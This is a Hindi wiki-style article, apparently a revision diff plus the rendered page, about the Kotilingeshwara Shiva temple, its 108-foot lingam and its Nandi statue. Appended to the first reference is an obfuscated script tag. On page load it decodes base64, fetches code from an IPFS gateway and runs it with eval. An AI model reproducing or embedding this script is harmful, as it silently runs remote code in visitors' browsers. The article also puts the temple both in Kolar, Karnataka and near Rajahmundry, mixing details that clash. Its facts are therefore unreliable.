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'''कोटिलिंगेश्वर मंदिर''' (Kotilingeshwara temple) [[कर्नाटक]] के कोल्लार ज़िले के काम्मासांदरा नामक [[गाँव]] में स्थित है। [[शिव|भगवान भोलेनाथ]] का एक अद्वितीय और अति विशाल [[शिवलिंग]] यहाँ स्थित है, जिसके लिए यह मंदिर प्रसिद्ध हैI भोलेनाथ के इस विशाल शिवलिंग को पूरी दुनिया में ‘कोटिलिंगेश्वर’ के नाम से जाना जाता है। चारों तरफ़ छोटे-छोटे करोड़ों शिवलिंगों से घिरा शिव का यह प्रतीक पावन, सुंदर और शांत प्रकृति के हरियाले आंचल में बसा है। प्रतिवर्ष बड़ी संख्या में भक्तजन यहाँ दर्शन करने के लिए आते हैं।  
 
'''कोटिलिंगेश्वर मंदिर''' (Kotilingeshwara temple) [[कर्नाटक]] के कोल्लार ज़िले के काम्मासांदरा नामक [[गाँव]] में स्थित है। [[शिव|भगवान भोलेनाथ]] का एक अद्वितीय और अति विशाल [[शिवलिंग]] यहाँ स्थित है, जिसके लिए यह मंदिर प्रसिद्ध हैI भोलेनाथ के इस विशाल शिवलिंग को पूरी दुनिया में ‘कोटिलिंगेश्वर’ के नाम से जाना जाता है। चारों तरफ़ छोटे-छोटे करोड़ों शिवलिंगों से घिरा शिव का यह प्रतीक पावन, सुंदर और शांत प्रकृति के हरियाले आंचल में बसा है। प्रतिवर्ष बड़ी संख्या में भक्तजन यहाँ दर्शन करने के लिए आते हैं।  
  
कोटिलिंगेश्वर मंदिर ककिनाड़ा से 45 कि.मी. दूर द्रक्षारमम मंदिर के पास स्थित है। यह राजामुंद्री शहर के पास में ही है। दशवीं शताब्दी में बना यह मंदिर राजामुंद्री का प्रमुख आकर्षण है। यहाँ पूरे साल बड़ी संख्या में तीर्थयात्री आते हैं। ऐसा माना जाता है कि इस मंदिर में [[पूजा]] करने से मनुष्य के सारे पाप धुल जाते हैं। एक मान्यता यह है कि जब भगवान इंद्र को गौतम नाम के एक ज्ञानी ने शाप दिया था तो उन्होंने इस शाप से मुक्ति पाने के लिए कोटिलिंगेश्वर मंदिर में शिवलिंग को स्थापित किया। कहा जाता है कि शाप से मुक्ति पाने के लिए इंद्र ने 10 लाख नदियों के पानी से शिवलिंग का अभिषेक किया था।
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कोटिलिंगेश्वर मंदिर ककिनाड़ा से 45 कि.मी. दूर द्रक्षारमम मंदिर के पास स्थित है। यह राजामुंद्री शहर के पास में ही है। दशवीं शताब्दी में बना यह मंदिर राजामुंद्री का प्रमुख आकर्षण है। यहाँ पूरे साल बड़ी संख्या में तीर्थयात्री आते हैं। ऐसा माना जाता है कि इस मंदिर में [[पूजा]] करने से मनुष्य के सारे पाप धुल जाते हैं। एक मान्यता यह है कि जब भगवान इंद्र को गौतम नाम के एक ज्ञानी ने शाप दिया था तो उन्होंने इस शाप से मुक्ति पाने के लिए कोटिलिंगेश्वर मंदिर में शिवलिंग को स्थापित किया। कहा जाता है कि शाप से मुक्ति पाने के लिए इंद्र ने 10 लाख नदियों के पानी से शिवलिंग का अभिषेक किया था।<ref>{{cite web |url=http://hindi.nativeplanet.com/rajahmundry/attractions/kotilingeswara-temple/|title=कोटिलिंगेश्वर मंदिर, राजामुंद्री |accessmonthday=24 मई |accessyear=2017 |last= |first= |authorlink= |format= |publisher=hindi.nativeplanet.com |language= हिन्दी}}</ref>
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15 एकड़ के विस्तृत क्षेत्रफल में स्थित यह मंदिर अपनी भव्यता और विशालता के लिए पूरी दुनिया में प्रसिद्ध हैI यह मंदिर कई मामलों में अपने आप में दुनिया का इकलौता मंदिर भी है I यहाँ पर जो शिवलिंग है वह अपने आप में पूरी दुनिया का सबसे विशाल शिवलिंग है और इसकी उंचाई 108 फुट है I
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इसके अलावा यहाँ पर प्रतिदिन आने वाले उन भक्तों के द्वारा शिवलिंगों की स्थापना भी की जाती है जिनकी मान्यता पूरी हो जाती है और इस तरह से लोगों के द्वारा मान्यता पूरी होने और उनके द्वारा शिवलिंग की स्थापना से यहाँ पर तक़रीबन 1 करोंड या फिर उससे भी अधिक शिवलिंग स्थापित हो चुके है I
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यहाँ पर लोगों के आकर्षण का एक और केंद्र है भगवान् भोलेनाथ के ही साथ विराजित हैं नंदी I नंदी को भगवान् भोलेनाथ का भक्त और उनकी सवारी भी माना जाता है I यहाँ पर विराजित नंदी की ऊंचाई 35 फुट है और वह एक 60 फुट लम्बे और 40 फुट चौड़े चबूतरे पर स्थापित है I इस विशाल शिवलिंग के चारों ओर देवी पार्वती, भगवान् गणेश, भगवान् कार्तिकेय तथा नंदी कुछ इस तरह से विराजमान है जैसे वह सब अपने-अपने आराध्य को अपनी पूजा अर्पण कर रहे हो I
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मंदिर के मुख्यभाग में प्रवेश करने पर यहाँ पर भगवान् भोलेनाथ ‘कोटिलिंगेश्वर के रूप में विराजित है और यहाँ पर आये अपने सभी भक्तों की सभी मुरादें भी पूरी करते है I मंदिर परिसर में भगवान् ‘कोटिलिंगेश्वर’ के साथ ही साथ 11 और भी मंदिर है जिनमें ब्रहा जी, भगवान् विष्णु, अन्नपूर्णा देवी आदि है I<ref>{{cite web |url= |title= |accessmonthday= |accessyear= |last= |first= |authorlink= |format= |publisher= |language= }}</ref>
  
  

05:57, 24 मई 2017 का अवतरण

कोटिलिंगेश्वर मंदिर (Kotilingeshwara temple) कर्नाटक के कोल्लार ज़िले के काम्मासांदरा नामक गाँव में स्थित है। भगवान भोलेनाथ का एक अद्वितीय और अति विशाल शिवलिंग यहाँ स्थित है, जिसके लिए यह मंदिर प्रसिद्ध हैI भोलेनाथ के इस विशाल शिवलिंग को पूरी दुनिया में ‘कोटिलिंगेश्वर’ के नाम से जाना जाता है। चारों तरफ़ छोटे-छोटे करोड़ों शिवलिंगों से घिरा शिव का यह प्रतीक पावन, सुंदर और शांत प्रकृति के हरियाले आंचल में बसा है। प्रतिवर्ष बड़ी संख्या में भक्तजन यहाँ दर्शन करने के लिए आते हैं।

कोटिलिंगेश्वर मंदिर ककिनाड़ा से 45 कि.मी. दूर द्रक्षारमम मंदिर के पास स्थित है। यह राजामुंद्री शहर के पास में ही है। दशवीं शताब्दी में बना यह मंदिर राजामुंद्री का प्रमुख आकर्षण है। यहाँ पूरे साल बड़ी संख्या में तीर्थयात्री आते हैं। ऐसा माना जाता है कि इस मंदिर में पूजा करने से मनुष्य के सारे पाप धुल जाते हैं। एक मान्यता यह है कि जब भगवान इंद्र को गौतम नाम के एक ज्ञानी ने शाप दिया था तो उन्होंने इस शाप से मुक्ति पाने के लिए कोटिलिंगेश्वर मंदिर में शिवलिंग को स्थापित किया। कहा जाता है कि शाप से मुक्ति पाने के लिए इंद्र ने 10 लाख नदियों के पानी से शिवलिंग का अभिषेक किया था।[1]

15 एकड़ के विस्तृत क्षेत्रफल में स्थित यह मंदिर अपनी भव्यता और विशालता के लिए पूरी दुनिया में प्रसिद्ध हैI यह मंदिर कई मामलों में अपने आप में दुनिया का इकलौता मंदिर भी है I यहाँ पर जो शिवलिंग है वह अपने आप में पूरी दुनिया का सबसे विशाल शिवलिंग है और इसकी उंचाई 108 फुट है I

इसके अलावा यहाँ पर प्रतिदिन आने वाले उन भक्तों के द्वारा शिवलिंगों की स्थापना भी की जाती है जिनकी मान्यता पूरी हो जाती है और इस तरह से लोगों के द्वारा मान्यता पूरी होने और उनके द्वारा शिवलिंग की स्थापना से यहाँ पर तक़रीबन 1 करोंड या फिर उससे भी अधिक शिवलिंग स्थापित हो चुके है I

यहाँ पर लोगों के आकर्षण का एक और केंद्र है भगवान् भोलेनाथ के ही साथ विराजित हैं नंदी I नंदी को भगवान् भोलेनाथ का भक्त और उनकी सवारी भी माना जाता है I यहाँ पर विराजित नंदी की ऊंचाई 35 फुट है और वह एक 60 फुट लम्बे और 40 फुट चौड़े चबूतरे पर स्थापित है I इस विशाल शिवलिंग के चारों ओर देवी पार्वती, भगवान् गणेश, भगवान् कार्तिकेय तथा नंदी कुछ इस तरह से विराजमान है जैसे वह सब अपने-अपने आराध्य को अपनी पूजा अर्पण कर रहे हो I

मंदिर के मुख्यभाग में प्रवेश करने पर यहाँ पर भगवान् भोलेनाथ ‘कोटिलिंगेश्वर के रूप में विराजित है और यहाँ पर आये अपने सभी भक्तों की सभी मुरादें भी पूरी करते है I मंदिर परिसर में भगवान् ‘कोटिलिंगेश्वर’ के साथ ही साथ 11 और भी मंदिर है जिनमें ब्रहा जी, भगवान् विष्णु, अन्नपूर्णा देवी आदि है I[2]


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टीका टिप्पणी और संदर्भ

  1. कोटिलिंगेश्वर मंदिर, राजामुंद्री (हिन्दी) hindi.nativeplanet.com। अभिगमन तिथि: 24 मई, 2017।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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